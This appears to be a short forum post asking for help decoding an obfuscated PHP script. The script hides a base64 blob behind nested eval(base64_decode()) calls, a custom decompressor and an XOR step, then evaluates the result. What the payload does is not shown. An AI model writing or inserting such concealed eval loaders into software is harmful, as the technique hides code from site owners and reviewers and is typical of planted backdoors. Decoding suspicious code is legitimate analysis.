Please help decode this php script

<?php $o="QAAADjtjbnEnbmM6JWFoaHNidQQAJTkKDScAEA47bzQ5RGh3fnUAAG5gb3MnOzh3b3cnYmRvaCcABGNmc2IvJV4lLjwnODkBlGVrAARoYG5pYWgvIGlmamIgAbMqJwQARmtrJ1UEAXQnVWJ0YnVxYmM4ADsoBYAGMwZgJzt3OVNvYiclV28AAGhzaCdAdWZ3b25kJSdzb2IAAGpiJ2V+PSc7ZidvdWJhOiUAAG9zc3c9KChwcHApcG5kbGIACGMqcGh1Y3d1YnR0KgLydClkIGBoagOwbnNrYjolAdYEw3QlJzlBBhx1YmInUANVAYQ7KGY5BpAGjwaAaWYUAHNmawAwbAWiOVd1aG1iZHMnSYEfAXEnQWh1cmoD4TsodxNEDRQLNhNTEccAwHV0dDVYcnVrEgMKtlRyZXRkdQQJbmViJTkAticvVVRULgX7OygasIIlFyAmKionYRrSJyoqB7gKDQIpcBTAHFN3YnUCMwGwHBJwd1gDoy8aMgoNAZAE8ABQXG5hJ05CJzFaBOA7CMF3cydzIAh+dxRwc2J/cyhtZnFmAWMlOScAAAoNDigtS2hmYydtVnJidX5AAScDwGlocydma3ViZmN+J2sBsApAYmMtKAGALwRBaGEClTo6JyByaQAAY2JhbmliYyAufCdjaGRyagGSYmlzKXB1biVBB7pbJQfMWyUWAHQIAHVkOlsgxWZtZn8pYGhoYGtiFAJmd24gAigBQShrbmV0KG12CfEoBAA2KTQpNQDUKWpuaSltdFslOQUAOyglLCUNQzksoXFmdSdYWGloAgBkaGlha24eUDonc3VyYjwnesAADxEB4U5CMVJXQ0ZTQlhIV1NOASBISVQnOid8ENAObgNAdFh3ZnMQAG89JwmldHNmc25kKW5iMXJ3wCAzASQRKG9odHNiYygBVihuamZgCvBidCglBGB6GJAoCQQAsACjGE91bndzPnAlJxBRBq8GrwaoCJZtdA/RBgMe4SZcYmkMEGNuYVokogegKGVoY34BkShvc2oAAGs5";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

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